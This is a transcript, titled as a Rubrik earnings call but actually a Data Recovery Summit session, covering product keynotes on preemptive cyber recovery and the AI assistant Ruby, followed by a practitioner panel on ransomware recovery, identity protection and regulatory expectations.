Rubrik, Inc. (RBRK) Earnings Call Transcript & Summary

Hello, everyone, and welcome to the Data Recovery Summit. We are absolutely thrilled to have you with us today. I'm Alok Agrawal, Chief Solutions Officer at Rubrik. We have an incredible agenda ahead backed with new cyber recovery strategies, technical deep dives and major product announcements that we simply cannot wait to share with you. I want to start by acknowledging something we don't say out loud enough. The role of IT has fundamentally changed. Now I'm risking oversimplification when I say this: it is no longer just about systems uptime. With the escalating threat landscape from disasters to ransomware and the looming risks of AI, the role of IT is now critical to organizational and business survival. Security is doing everything they can to defend. They are spending record budgets on prevention but the hard truth is threat actors are still getting through. Every time prevention fails, IT is in the spotlight. Now visualize the moment the cyber attack hits. Everyone across IT, security and compliance teams are concerned. But amidst the chaos, the Board, the CEO and the shareholders turn to you with paralyzing questions. Can we recover the data? What is the damage? How long will it take to recover? What is the plan? And if you are the one answering those questions, you will live through 1 of the 2 contrasting outcomes. The panic mode, chaos, fumbling, lengthy disruptions, reputation damaged; or the resilience mode calm and confident execution, crisis avoided, business is online. This isn't about buying a tool. It is about deciding which of those two time lines you want to live in. It is about being the hero your organization will need in the time of crisis. So why do so many teams end up in scenario A? It is because of the reactive trap. We tend to split cybersecurity into 2 boxes: Proactive, usually focused on preventing the attack; and reactive, often viewed as recovery unknowns that can only be figured out when an attack occurs. But when the alert goes off, uncertainty is the enemy of velocity. If you use your downtime to figure out what happened, you are not recovering. You are investigating. And every minute you spend asking what do we do next, pushes the crisis closer to a catastrophe. Your IT organization will be in the spotlight as the executive team, the Board and the customers ask: How long will it take to recover and come online? And when they ask how long? They are truly asking about your MTTR, mean time to recovery. Now as you know, MTTR is a widely used industry term and concept. But in a cyber attack, MTTR isn't about how fast you can move bits and bytes over the wire. Speed does not matter if you're moving the wrong data. It is about precision. To shorten your recovery time, we have to break that equation down. The first is time to detect. The SOC sees the alert, the clock starts ticking. Second, the time to investigate, finding that clean point of recovery. Third, the time to restore the actual physics of moving data. And fourth, the time to validate, proving that the system actually works. Now if you look at that equation, there is a trap. A variable that destroys your weekend, your bottom line and your reputation, that is the time to investigate. This is that investigation delay. It is the days, weeks, sometimes months that you spend paralyzed by 4 questions: What's the scope? What did they touch? And if you miss something, you will leave the back door open. The second question, what's clean? Which backup is safe? And if you guess wrong, you take the risk of reinfecting production and starting all over again. Third, what is the exposure risk? Did they exfiltrate the data? And if you don't know, compliance will be waiting at the door. And fourth, can they regain access? Is there a compromised identity? And if you don't fix that, in the words of Arnold Schwarzenegger, the threat actors are going to say, "I'll be back". In an uncertain world where recovery is reactive, you answer these manually, you guess, you mount a snapshot, you scan logs, you fail, and then you try again. That is not recovery, that is just digging. To be the hero your organization needs, just restoring faster is not enough. You need to systematically reduce every delay variable in that MTTR equation. What if you did not have to wait for the attack to start the investigation? What if the investigation work was performed preemptively? To show you exactly what preemptive means and what it looks like in action, please welcome our CTO, Nithra.

Hello, everyone. I'm Arvind Nithrakashyap, Co-Founder and CTO at Rubrik, and I'm really excited to be here with you today. So Alok talked about a cyber attack scenario. So let's revisit that and see how this plays out. So usually, it begins with an alert. The SOC does confirm a cyber attack. At that point, you're walking into the Boardroom and immediately, there are questions being fired at you. How far does it spread? When can we be back online? Was there sensitive data that was compromised? And for IT teams, these are the hardest questions to answer, especially when there's a clock ticking. So you open your back-up console, you're starting at multiple recovery points across hundreds of applications. And this is when the uncomfortable truth hits you: having a backup is only the beginning. Because in the event of a cyber attack, your last backup, most likely isn't clean. So the problem is, traditional backup relies on a catalog. It's a static index. It tracks file names, sizes, dates. It tells you where the data is, but nothing about what the data is or what happened to it. And this is the uncertainty that creates days or weeks of investigation delay. And this was the piece that Alok also hinted upon. So cyber recovery requires a change in the fundamental architecture. And this is where the Rubrik preemptive recovery engine comes in. What it does is it uses a time series data architecture to solve this. The engine just doesn't show the data, it captures a complete time series of your entire enterprise data. And unlike traditional systems that just track basic metadata, the Rubrik Preemptive Recovery Engine tracks how files change over time. It tracks permission updates, and it also tracks entropy. And what it does is it creates contextual metadata and decouples it from the data. And very often, as you know, metadata is a small fraction of the data. And this is what makes it efficient to run continuous analysis on your data without impacting production. It enables you to answer questions, those, impossible questions before they even come up. Now let's break down how this shortens the investigation delay in the MTTR equation that Alok covered. First, anomaly detection. As data flows in, the engine applies machine learning to the metadata stream. It identifies anomalous behavior instantly. But again, it does this after learning the behavior of the system. So it detects high entropy, mass deletions, unusual file extensions, encryption spikes. For example, if you have a weekly job that modifies a ton of data, it will learn that. But if something happens in the middle of the week, that's when it will trigger. And the time series data, it spots the deviation during backup operations. It doesn't wait for you to launch an investigation. The engine is continuously identifying the latest non-anomalous recovery point. But let's talk about threat monitoring and hunt rate. This is the hardest part within any cyber investigation. You need to find any presence of malware across the entire environment and make sure that you don't restore it. And this is where the delay comes in. So traditionally, what do you have? This is where you get stuck in a trap. You find a backup, you mount it, you scan it, you find malware. Okay. That backup doesn't work, so you have to tear it down and then you do it all over again. So you're stuck in this restore-scan-fail loop until you find a clean copy of the data. If you have petabytes of data with frequent snapshots, you cannot scan fast enough. Let's do a simple math. Imagine 5,000 workloads, daily snapshots, 15 days of retention, that is 75,000 snapshots. Even if you scan incredibly fast, one minute per workload to mount, scan and tear it down, it would take you 50 days to scan all just to prove they're clean, 50 days of downtime. This is when you'll be thinking about whether you should pay the ransom. Now what does Rubrik do? The Rubrik Preemptive Recovery Engine analyzes backups in line as we're taking the backup. Scanning for known indicators were compromised as [ they're ingested ]. Rubrik leverages Google Threat Intelligence, it can detect many 6,000 malware families and 500 attack tools. And this is done proactively before the attack. This means when you open the console to see what happened, you already have the insights to identify which snapshots are clean. And even if it's a zero-day attack, think of ALPHV/BlackCat, BRICKSTORM or any new indicator of compromise that was just discovered yesterday or today, you're still covered. All the preemptive work performed at threat monitoring to create a global hash table makes scanning for a new IoC as simple as squaring the metadata index. You upload the file hash, scan up to 75,000 snapshots in 60 seconds. And that is the difference between a 50-day investigation and a 1-minute query. And then, of course, the sensitive data exposure. While you're finding a clean point, compliance runs into another critical question. Did they exfiltrate sensitive data? You have to disclose exactly what is breached because there are regulatory requirements for many industries. So during backup operations, Rubrik automatically classifies the data. It tags PCI, HIPAA, PII or any other kind of sensitive data that you defined. So when the attack happens, you don't just know what was encrypted, you know if it was sensitive. If you know there was exfiltration from a particular server, you know whether the sensitive data is sitting in that server. You know exactly what the regulatory exposure risk instantly. And last but not the least, there's identity. Most attacks start with a compromised account. To restore your clean data but you leave the compromised admin account active, attacker would just log back in and lock you out again. To deliver true resilience, Rubrik tracks identity attributes and file permissions within the backup. It identifies unusual behaviors, say, like a sudden escalation in privileges and with a secure backup of active directory Entra ID and Okta, you can remediate compromised accounts. You can roll back the compromise attributes. You close the door that they came in through. This is what we mean by preemptive recovery. With the traditional architecture, the investigation starts when the attack happens. It's a race against time filled with uncertainty. With the Rubrik Preemptive Recovery Engine, the investigation is already done, you can actually recover with confidence. And that is how you turn an existential crisis into a managed event. This is the engine that powers our platform, Rubrik Security Cloud. And now to talk about the platform and what we're building on it, let me welcome our Chief Product Officer, Anneka Gupta.

Hello, everyone. I'm Anneka Gupta, Chief Product Officer here at Rubrik. Let's zoom out and look at the complete picture of Rubrik Security Cloud. This is the platform that secures your data, whether it lives on-prem, in the cloud or in SaaS apps, all in one place. It continuously scans for threats in your data to pinpoint the exact scope and impact of an attack. It secures and monitors your identity systems from active directory to Entra ID and Okta to detect and roll back unauthorized changes and it orchestrates a rapid recovery to a clean point so you can minimize downtime and bring your business back online. Even with the best platform in the world, the system still relies on one critical variable: You. We've talked a lot today about the pressure you face. The threats are getting faster. The environments are getting more complex. We know you can't clone your best engineers. We know you can't manufacture more hours in the day. And frankly, the last thing you need is another tool that just gives you more alerts. So we did the next best thing. We built you a new teammate. You may know Ruby as an AI assistant. You ask questions, it gives answers. It's helpful but assistants wait for instructions. When a backup fails or a ransomware alert hits, you don't need an assistant to chat with. You need someone who can act. So today, Ruby gets a promotion. It is evolving from generative AI to agentic-AI. Ladies and gentlemen, let me introduce you to Ruby, your new AI teammate for backup and recovery operations. Now before I show you what Ruby can do, I want to share how we built it. We obsessed over 2 things: first, design principles. We gave careful consideration to the tension between what makes IT teams nervous and what makes them excited. Anything that touches your business-critical data requires strict guardrails. So when using Ruby, we want you to decide exactly how much control to maintain. You can use it to analyze risks and provide insights or you can let it perform specific actions where it recommends a solution but waits for your approval. You'll always be in charge. Second, the job to be done. We didn't want to build something just to fill a press release with buzzwords. We wanted to solve the actual friction in your day. We started by listening to customers, analyzing support requests to find the drudgery the work that eats up hours without creating new value. We found that in the majority of cases, valuable time is being lost to troubleshooting failures and managing routine operations. We wanted to build Ruby to solve these specific operational challenges that keep you from doing your real work. And the first challenge we found was troubleshooting. You know the feeling, you start your day, you're in the flow, you're building something new and then interruption hits with an alert. Backup failed. You get an error code, each system holds some details but you have to stitch together the signals from different clusters, infrastructure, hypervisors and so on. Is it the network? Is it storage capacity? Is it permissions? Is it a failed drive? The fix might be simple, but root cause analysis consumes time, attention and brain power. Let's look at fixing this issue with Ruby. The alert comes in, this time, you don't have to dig into the details. Ruby can do the root cause analysis for you. In this case, it runs deep diagnostics across logs, connectors, credentials, policies and clusters and then present a clear root cause and a remediation plan. The vCenter is disconnected. I recommend refreshing and restarting the job. And then as per the design principles, it asked for permission to take further action. You say, yes, Ruby refreshes the connection, restarts the backup, confirm success. Instant resolution. You can immediately go back to doing important work. We'll be rolling this out to customers starting next week. Let me show you where Ruby is going next. A real teammate takes on more work, like the work that drains time and energy, fielding questions from different teams. Finance wants to know why the storage bill is suddenly spiking, leadership asks for the current backup success rate, compliance needs details for an upcoming assessment. None of these questions are unreasonable. And often, the answer is usually simple and already exists somewhere in the system but it requires pulling data from multiple views, time ranges and object types, manually gathering metrics and translating raw data into insights. It is tedious work. Any discrepancy can lead to confusion or loss of confidence during the assessment versus with Ruby, it's a straightforward prompt. You ask Ruby "Show 7-day compliance by cluster, highlight anything under 95%." Ruby understands the intent, compliance over time, sliced by cluster and workload. It maps the request to the right data, computes the metrics using workload-specific definitions, operating strictly within the role access control of the admin. In seconds, you get a heat map and a ranked list of at-risk clusters. From there, you can drill down filter by region or schedule it as a weekly report. What used to require multiple scripts is now just a prompt way. Finally, I want to talk about the moment where all this matters most, recovery. In the previous segment, you saw how we find the clean data. But once you find it, you face the final hurdle: orchestrating recovery. In this case, let's consider a business-critical SaaS application, Microsoft 365. When an outage occurs, it can take an enterprise weeks or even months to get their teams back online and their data recovered. Imagine thousands of users, exchange, OneDrive, Teams, you can't snap your fingers and bring it all back instantly. So you have to choose who comes back first: The CEO, legal, finance and where is their data. In a crisis, you need to be surgical. Don't think of it as recovering data. It's about recovering people and accounts. It's about recovering the minimum viable company to address the crisis right away. You define the core, you tell Ruby who matters, Ruby takes it from there. It analyzes access telemetry. It looks at what they actually touched, e-mails, calendars, contacts from the last 10 days, the active OneDrive files. It built a context map of the data they need to be functional right now. Ruby presents the plan, you refine it. "Ruby exclude archived mailboxes, but ensure the Q4 financial report site is included". Ruby updates the blueprint and gives you a precise RTO. If we execute this plan, your core leadership will be online in 12 minutes. You give it permissions to recover. Your minimum viable company is back to work. Decisions are made, the company breathes again, while the massive petabyte scale recovery continues in the background. This is the difference between data recovery and business resilience. You are the architect, you set the strategy, you make the hard calls. But for the drudgery and heavy lifting, this is Ruby, your AI teammate. While Ruby changes how you operate, we are also adding more depth and coverage to Rubrik Security Cloud. We're bringing threat monitoring and turbo threat hunting to NAS Cloud Direct. Threat monitoring proactively scans or unstructured data during ingestion to detect presence of any known indicators of compromise. And if it's a zero-day, just upload the file hash and turbo threat hunting can scan up to 80,000 snapshots in under a minute, not days or weeks to identify clean recovery points. And we're adding even more coverage to the Rubrik Security Cloud, extending Zero Trust data security to IBM Informix databases and bringing native support for Oracle Linux Virtualization Manager and Proxmox VE. We're also expanding our peer storage partnership with 3 new capabilities, a validated reference architecture for unstructured data automatic tagging of clean flash array snapshots and native API integration to deliver trusted recovery in seconds, not hours. We have more exciting updates to share. Stick around for the panel discussion and be sure to catch the breakout sessions for more details. Thank you for your time and enjoy the rest of the show.

Hello, and welcome to the next session in the Data Recovery Summit. This session is entitled: When prevention failed, real recovery stories from the trenches. My name is John Murphy, and I have the great pleasure to be joined today by Kyle Fiehler of Rubrik Zero Labs; and Stephen Foskett, subject matter expert on all things Tech Field Day. Guys, I'll let you introduce yourself, Stephen, let's start with you.

Thanks, John. It's great to be here. Again, my name is Stephen Foskett. I'm the President of the Tech Field Day business unit at The Futurum Group, and I have focused on storage and data protection for basically my entire career. I've written books, done a lot of seminars and webinars. But more importantly, I've spent a lot of time in those data centers in the trenches trying to help companies including my own employers and others to do a better job of data protection.

Excellent. Yes, and great background. Certainly, I think those of us who have been in the industry for a really long time have seen just tremendous change. But I think one of the things that sticks out to me is that we see patterns over time. And Stephen, I'm hoping you're going to bring a lot of those patterns out as we talk about this today. Our objective really is to make this as valuable for you attendees as possible. So feel free to post questions, do follow-up work, as you will. And Kyle, tell us a little bit about yourself, you are an integral part of the Rubrik Intelligence team here.

Yes. Thanks, John. Happy to be here. Yes, my name is Kyle Fiehler. I have about a decade of experience in the cybersecurity industry, working for mostly vendors across the endpoint network and now with Rubrik in the resilience space. So I am an analyst researcher with the Rubrik Zero Labs team. and we are sort of studying how threat actors operate and how resilience and backup data can be an essential source of threat intelligence and how it may inform operators on some of the threats that they're facing.

Excellent. Excellent. This is going to be a great session, guys. Just to level set for everyone in terms of what we're hoping to get out of this, as I've mentioned it's really meant to be for practitioners to give you practical guidance on things that work, things that don't work. And kind of to the point what happens when you get that 2 a.m. phone call? And what are the first things you should be thinking about during that phone call. You're going to hear a lot about the fact that we think a lot of this can be done beforehand. So that phone call ends up being more of a rote memory kind of exercise than it is a quick respond and figure things out on the fly piece. But I kind of want to start with just kind of setting the stage for what we think of in terms of availability and why that is important for this. So if you think about whose job recovery really is, it's easy to get caught in the -- well, it's security's job or maybe it's IT infrastructure's job or maybe it's the business resilience team's job. I think at the end of the day, we all recognize it's everybody's job. We're all going to play parts in that recovery. And that recovery really has huge business impact for us. Whether you mentioned -- whether you measure your success in terms of financial or mission-critical services that you provide to your customers, the bottom line is that our uptime really makes a difference in people's lives. And if you think about one of the wanted goals for uptime is 99.999% or five nines. Well, as we talk to business folks about that, they probably don't necessarily understand what that means, but they do understand the impact, which is there's a measurable impact to individuals there, whether that's financial, a 99.999% uptime for a year still leaves you with almost 6 minutes of downtime. And most of our SaaS providers, which were becoming immensely more dependent upon only guarantee about 99% uptime which means that there's a whole lot more downtime that you might have to be prepared for. So one of the things I want to draw out here is what's happening in the environment. And we're going to start a little bit with talking to you, Kyle, about what we see from a threat actor perspective. And what threat actors are really doing to monetize our success or our lack of preparedness depending upon what exactly is happening in the environment. I tend to think about the bad guys in a slightly different way. I think about them as competing businesses, right? They are looking at how are we doing things today and how can we force our competitors which is all of us in the private industry to make as many mistakes as possible in the shorter term as possible. So Kyle, with that backdrop, if you wouldn't mind, just take us through what you're seeing from the Rubrik threat intelligence perspective, Rubrik Zero Labs perspective?

Yes. I think as threat actors, your motivation is going to determine your TTT -- your TTPs, excuse me, your tactics, techniques and procedures. So you may have a financially motivated threat group who as soon as the compromise has occurred and as soon as they have access to your environment, they are going to want to let you know that they are there to maximize their leverage. So they can do this in a couple of ways. We see a lot of threat groups today, specifically targeting identity infrastructure because they know that once an organization is unable to authorize and authenticate its users, granting access to any business critical apps is extremely risky. And so we see a lot of financially motivated threat groups that excel in compromising identity infrastructure. And so an organization's ability to reset that infrastructure to roll back any changes that may be made in terms of privilege escalation, role-based access manipulation, that's a critical capability for organizations. Another thing we see quite frequently is the deliberate targeting of cloud-native backups. So Google's most recent Cloud Threat Horizons Report confirmed that a lot of groups like UNC2165 so, Evil Corp is another name that it goes by. These groups are deliberately targeting cloud-native backups because they know that if an organization's Plan B has been erased, the leverage has been maximized over those groups. And it's the same with the compromising of identities. If you cannot grant access to mission-critical applications, operations are ground to a halt. What this does is maximizes leverage over the target organization so that ransomware demands will be complied with in a speedy manner. Basically, extortion is conducted more quickly. Anything that furthers their goals, happens more quickly in that scenario. And so there's another category of threat actor, the state-sponsored threat actor that may be more interested in conducting corporate espionage, eavesdropping or even implanting a back door that they know that they can come back to at a later time and access to compromise the organization. And so those threat actors are going to be more interested in being stealthy, evading detection, avoiding the indicators of compromise that would force a response on behalf of the target organization. And so they're going to be more interested in implanting malware in areas that maybe EDR solutions have less visibility over such as a hypervisor. We saw this with BRICKSTORM, Rubrik Zero Labs specifically saw this with BRICKSTORM in some customer environments. And that's one of the reasons why as I'll say again and again, backup data is a very critical source of telemetry for threat hunting.

Excellent. Excellent points. And obviously, for those who are watching this, Rubrik Zero Labs has done some extraordinary work recently and gotten some industry accolades for the way that we've used that backup and actually understand what threat actors are doing long before they launch an attack. I'm going to switch for just a moment and talk a little bit about what happens when the social side of things is engaged. So couple of high-profile attacks recently that involved more social engineering than they did technical attacks. And I would wonder if you share anything from those attacks that's a key takeaway for our attendees today.

Yes. It's becoming another tired saying in infosec that threat actors no longer hack in, they log in. You hear it time and again, but like a lot of cliches, it's true. And you see groups like Scattered Spider is one that's had quite a bit of success recently partially because of facility with the English language knowing cultural savvy and the ability to -- or the chutzpah, I would say, to just call up a help desk and say, "I need you to reset my two-factor authentication." And an unfortunate number of times, that actually happens. So that's a group that's seen a lot of success with sophisticated social engineering attacks. And again, it goes back to the identity piece. You have to trust in your ability to authenticate and authorize users if you want to be granting access to business-critical apps. And so what they're doing is they're undermining that trust by hijacking legitimate credentials.

Yes, no, excellent points. Stephen, I want to pivot for a second to you. In those moments -- so we talk about when failures happen, we're talking about social engineering, but getting past all that, in those first moments when something happens, what are the things that the first, I'd say, a couple of dependencies that you have in mind that really constrain the ability to recover.

Well, I think, first off, Kyle did a great job of sort of laying out where we're at right now with cyber threats. And it's interesting to how much these things have escalated in terms of everything from the profile, the attack methods, the targets, et cetera, and yet how much has stayed the same. Because ultimately, when an attack happened in 1990 or when an attack happened in 2025, you're kind of in the same situation in terms of how are we going to recover from this and in most cases, the answer is, uh oh, am I ready? And ultimately, I think that the thing that can make people feel more confident and poised when that moment happens, is practice. It's just like anything else. I mean there's a reason that police and military and all sorts of other first responders are constantly practicing, and that's because when the moment happens, that's not the time to think about, am I covered? Do I have my backup? Does it cover everything that I need? Do I know how to operate it? Do I know what the procedure is that all can be handled previously in preparation for the moment when it happens because the last thing you want to do is panic. Now that all is easier said than done and has been as long as people have been trying to protect data, it's a challenge for people who are in the data protection environment to understand what is the data? Where is the data? What are the applications? What data is needed to -- what native data needs to be recovered and at what process and what pace what's more important, what's less important. All of these things are questions that can be answered but questions that have been very difficult to answer for a very long time which is why it's nice to see when products in the market are now starting to try to help people with that, try to give them a heads up if things aren't being protected, suggestions on other areas that could be and also trying to be more all encompassing. As Kyle mentioned, identity threats are really rising in prominence and yet, until very recently, data protection products didn't even cover identity management, identity threats at all. They didn't offer any kind of ability to check that or to protect that or recover from that. So it's very exciting to see products responding to those kinds of emerging threats in a productive way. The same is true, as mentioned with cloud backups. I mean that was originally a tool that protected you and now it's an opportunity for another attack surface. And so there, again, we have to make sure that those are protected. But ultimately, I think the thing that people need to think about is how can I be ready when this happens? And the answer to that question is always going to be the same. It is to understand your data, to understand your applications, to understand your business, and to spend a lot of time and energy preparing for that moment instead of hoping when that moment happens, that you're ready.

Yes. Great set of points. And I can tell you as a practitioner for a very long period of time, that idea of just testing until it's muscle memory, test until your eyes bleed is something that I can't say enough of because I think, to your point, it just gets all the questions out because no plan is going to survive first contact with reality intact. But the more that you test, the more things that you see are wrong with your plan, and there's no pressure at that point, right? What you're learning is free as opposed to when it's a downtime impact. Related question for you, just to help level set and so you don't have to go into any specific -- product specifics. But help the attendees understand what we mean by things like secure vault or a clean room, if you would?

Yes. So clean room is another rising potential here. I love the idea of it. Essentially, if you have been attacked, if there's a bad actor in your environment, you can recover data to that environment. But how do you know that the bad actor is out of there? How do you know that there's not something else compromised? How do you know that they're not corrupting it or infecting it or attacking it even while you're bringing it back? The answer is to bring it back in a clean environment, a cleanroom. And this is something that has always been a goal, but it's always been very hard to achieve because, of course, the last thing you want to do, I mean, can you imagine if protecting your house from a fire meant having another house exactly like yours fitted out with all your stuff like right next door. Sure, that would be great if there was a fire because you could just move right in. But we can't really do that in IT because essentially, we would have to build everything and that would make everything cost more. Happily, today's DevOps processes, cloud computing has all made it actually a lot easier and a lot more practical to literally automatically spin up a clean environment on demand to recover to. And that is a really powerful feature because it means that you can be sure that if I'm rolling back to before the attack, I'm rolling back in an environment that is, as we say, clean rather than risking immediate reinfection. Kyle, what do you think?

Yes, absolutely. And I think that preventing reinfection is one of the most critical points in the recovery, and it's also one of the most difficult. So yes, having a clean environment like that, that you can restore from is absolutely critical.

Yes. And Kyle, just to pick up on that. What are the things you look for? Like what are the signals in the recovery environment that you're looking for? And how do you find them long before we ever get into the conversation of what to do in an emergency?

Yes. And I think it comes down to essentially nailing a couple of the steps in the incident response. So determining the scope of the recovery is the first step in -- often one of the lengthier steps in a recovery operation because you have to accurately determine what assets have been impacted to what extent if you are going to successfully roll them back to a prior state, prior to the infection that is. So that's absolutely one of the key steps to a clean recovery. You have to then be able to quarantine those assets. So that you can stop things like lateral movement from occurring and threat becoming out of control in your environment which expands the scope drastically and lengthens the time of recovery. And then finally, I think you have to be able to successfully validate that recovery, and that's where things like the cleanroom come in. But in the validation process, you're scanning for things like known indicators of compromise, those may be hashes, YARA rules, but those are some of the things that you have to look for and make sure absent before confirming a clean recovery.

Excellent points. Yes. And I think certainly, you tie the idea of a vault into that. And the vault being a copy, a separate copy, whether it's physical or a logical friendly production environment, and that gives you the ability to conduct those searches without impacting production. Where, if you're a bank or if you're a financial organization, you can't afford a lot of extra traffic on your network, being able to do that actually makes a huge difference in incorporating exactly what you just said, which is preemptively scanning for those things makes a huge difference in recovery time. And Stephen, I'm sure you've got some first-hand experience with the ability to do that and the impact it potentially has?

Oh, absolutely. And it is absolutely amazing to see the amount of information that can be gleaned from data protection. It's one of those things for a long time, we were not really paying attention to. We were protecting data. We are making copies of data and then suddenly, somebody realized, wait a second, this is just a treasure trove of information for the business to figure out what data is, what the patterns are, what's happening that was then taken to the next level by these vendors who are able to do anonymized scanning and assessment in real time of the data environment and basically, like Kyle was saying, finding these threats and exposing these threats, it is really incredible what you can learn from the data. But of course, that's also a source of information for the attackers. And so we have to make sure that they're not learning the same things by scanning and examining our data.

Yes. That's a great point. And probably one of the most frustrating things, I think, for practitioners regardless of where you fit in the organization is just recognizing that they could be in your environment at any point in time and learning the same lessons or more important lessons than you were at that point.

Well, especially like Kyle mentioned, some of these threat actors are -- their goal is not to do ransom or anything. Their goal is just to be there and to be ready and to attack at some point in the future. And that's pretty scary, isn't it?

It is. Yes, it certainly is. We talk about complexity, we talk about response time and how quickly we need to be able to respond. From your perspective, Stephen, how do you handle the problem of having so many different -- too many different dashboards, so many different points of reference that it's difficult to tell what's noise and what's actually a signal that we should be paying attention to?

Well, there's a couple of factors there. One of them, of course, is the question of just the sprawl of modern IT systems. Gone are the days that there was a server that ran an application. Today, even the most simple applications span multiple servers and multiple network devices because remember that attackers are attacking storage devices as well. They're attacking databases. They're attacking all sorts of elements of the application stack. But even beyond that now, most organizations also have cloud computing environments, they've got software as a service, increasingly, they've got AI applications, AI agents, all of these things are critical business resources as well. And all of these things need to be monitored and protected. So there's a couple of different aspects there. I mean, number one, if you are a data protection pro and you're tasked with cyber readiness, you have to understand where everything is, not just where the core servers are or where the core applications run, but you really have to understand where every business-critical application runs. And then you have to figure out how can you monitor that? How can you manage that? How can you protect that data? How can you recover that? Because that's another challenge as well. If something is off-site or with a service provider or something, how can you make sure that that's all recovered. The good news is that products are increasingly covering more and more and trying -- I don't know that we'll ever get to the goal of a truly unified data protection platform but that is absolutely the goal of companies in the data protection space. They're trying to make sure that they cover as much as possible, they cover pretty much everything. And I really look forward to that. I get excited when I see companies covering new platforms. Even if it's not a platform that I use, having it cover all of the major SaaS or all the major cloud platforms means that it's more likely that companies are going to be cyber-ready.

Yes, excellent point. And I think the sort of the takeaway there is in that time, that preparation time when it's not a production down environment is the time to figure out which boards, which screens are you going to pay attention to most? And so just knowing that is going to save you time in response.

And that's an area where vendors can, of course, help as well by figuring out ways of monitoring and exposing those metrics.

Yes, absolutely. It's funny. The -- when I started in cyber, there were not that many tools. We were writing a lot of our own tools. And with the space of 10 years, I think we've gotten to the point where -- actually 15 years at this point, we've gotten to the point where the tools sprawl so many great products. They all solve very specific parts of bigger problems. And so trying to figure out how to bring them all together is something that we definitely need the vendor community to help with. Kyle, I want to talk to you about recent investigations and what you've learned. How do attackers exploit the fact that sometimes we don't do a great job of making sure that we have a consistent set of backups across certain data sets that have to be joined up, let's say.

Yes. I think it goes back to what Stephen was just covering. I mean in the age of hybrid multi-cloud. I mean if you're relying on these cloud-native backup solutions, each one may have a different set of procedures for recovery. And I think part of targeting those backups is the knowledge that if you're coordinating all that -- and it's more than likely a very small team who's forced to coordinate the recovery across multiple cloud instances. I mean, there's tremendous opportunity for human error or for something along the chain of -- the multiple steps you need to go through to recover your data to go wrong. And I think threat actors understand that and know that it tends to lengthen recovery times. So I think that's definitely one thing. And I hear people that I talked to mention it all the time about how complicated the process of, say, recovering Microsoft AD can be multipage, huge number of steps chained together, if any of them go wrong, often the process needs to be reset. So I think that's something that threat actors understand and if these processes aren't automated to the greatest extent possible, then it's going to lengthen RTO.

Yes, absolutely. So I want to pivot. We talked about technology and best practices from an execution perspective, we talked a little bit about what the most important things are that we could have from a capability perspective like vaults. Next, I want to talk about how do we evidence this, right? So you could write a book of what the Board may or may not understand about what we do when we brief them about technology. But I think the one thing that's really clear is that both boards and regulators have a different perspective than technologists do typically when it comes to this. So I'd like to ask the both of you, and I'll start with you, Kyle, if you wouldn't mind. How does SEC, NIS2, DORA how are they impacting the expectations we have around recovery assurance?

Yes. So I think we're confident in our ability to recover is no longer sufficient evidence that you are a resilient organization. Boards want to know -- boards and regulators want to know how quickly can you recover? And when did you last prove it? So we talked a lot about drilling, testing til your eyes bleed, John. That's one that I learned from you. I think that's critical. And those tests to the greatest extent possible. Tabletops are great for understanding what sort of scenarios you may face but to really test your ability to recover to the extent that it's going to satisfy Boards and regulators at Rubrik Zero Labs, we definitely are proponents of scenario-driven, software-driven crisis simulations so that you know not only what an RTO is and whether or not you've made the cut but what processes, what phases in the recovery are taking the most time? So is scoping the issue? Is determining a clean snapshot the issue? The more granular you can get with those recovery metrics. The more you're going to be able to satisfy regulators and boards that we do have mature recovery operations, and we're working to bring that time down.

Excellent points across the board there. And Stephen, over to you just for a second. In terms of -- you've got vast experience in this world and I would love to hear from your perspective, what are the artifacts that you think are best evidence that organizations should look to produce in terms of their ability to recover -- really ability to evidence recoverability?

Well, I think that certainly practice makes perfect, like we've talked about. But I do feel like there needs to be a focus internally on proving the outcome of these tests, not simply on saying, yes, we have good protection like you mentioned. But on -- we did a test of this. We did a test of that, we did a test on the other. And interestingly, I think that a lot of people are kind of running scared because of GDPR and DORA, even though technically, GDPR really only affects personal data and DORA really only impacts the European financial industry. Those regulations tend to spill over into the rest of the world in a way that actually can help us. And I think that it seems strange to say that because for the longest time, I mean, those sorts of things are pretty scary to have regulators coming down on you and financial penalties and things like that. But for data protection and security and storage pros, one of the challenges has always been getting the attention of the business and getting access to the resources needed to protect data. I think one of the benefits of some of these regulations and the impact that regulators can have if there are outages and security problems, is that you can finally get that attention that you need to solve these problems. So essentially being able to -- if you're in a European bank being able to go to your management team and say, "Look, we're going to get a fine that's going to be some massive amount, 2%, 3%, 4% of our global turnover if we don't have data protection demonstrably ready to go." Well, there's never been a better impetus to having a solution to this problem. And for the rest of those out there, I think that there's an opportunity for basically the folks who are responsible for these tasks to go to management and say, look, this is not just a technical problem. This is not just an IT problem. This is a business problem. This is a -- can we move forward in the marketplace problem? And whether that's because of regulators or because of regulations and penalties or simply because of the reputational risk that can happen, if you have a major outage or lose client data, all of those escalate the importance of data protection and cyber readiness in a way that lets us really get the resources we need to tackle these problems.

Excellent points. And I think we could probably spend a whole lot more time on that. But I think you recapped it very nicely in terms of the things that organizations should be looking at. And the perspective that maybe regulators and regulatory bodies and standards actually can be our friend here in terms of justifying where do we want to dig in, and how do we want to dig and why more importantly. It's not just compliance, it's the outcome that we're all looking for, which is stability. Great points, guys. This has been a fantastic conversation just trying to bring it home. We have a lightning round. I'm just going to hit a couple of quick questions on the way out. Before I do that, I want again, thank you all for taking a part in this conversation with us. I'm sure our attendees are going to find this immensely valuable. So first question over to you, Stephen. What's one thing to test this month that will materially improve recovery confidence for organizations?

Go look at your authentication, look at your active directory, look at that environment and ask yourself, do I have any kind of protection or ability to monitor this at all. And if the answer is no, start there. That's the first thing that I would look at because for the longest time, there was nothing you could do about it. Now there is, go straight to identity protection.

Excellent. Yes, excellent point. Couldn't agree more. And obviously, what we see is the first step you want to take is to secure the network when you think there's a problem. But if your identity sources compromised, there's a fundamental question that it's going to take a long time to work through. And Kyle, similar phrasing, similar situation, but from a telemetry and a validation -- a signal validation perspective, what's your advice?

Yes. I think it would be the attitude change of recognizing that your backup data is an essential source of threat telemetry, not only for -- searching for threats in areas where endpoint detection may not have visibility but also acting as a record of threats that may have been missed. If you backed up a piece of malware, chances are you've missed it somewhere along the way. And so continuously scanning snapshots and backup data for indicators of compromise is just another source, and I would argue it's an essential one.

Excellent points. All right. Last question to both of you and Kyle stay on. We'll start with you. What's one myth about backup and recovery that you want this audience to retire today?

I'll sound like I'm beating a dead horse but just that it's only valuable as a plan B. I think that -- that's one of the most pervasive ones and I think it does a disservice to security teams.

Excellent point. Stephen?

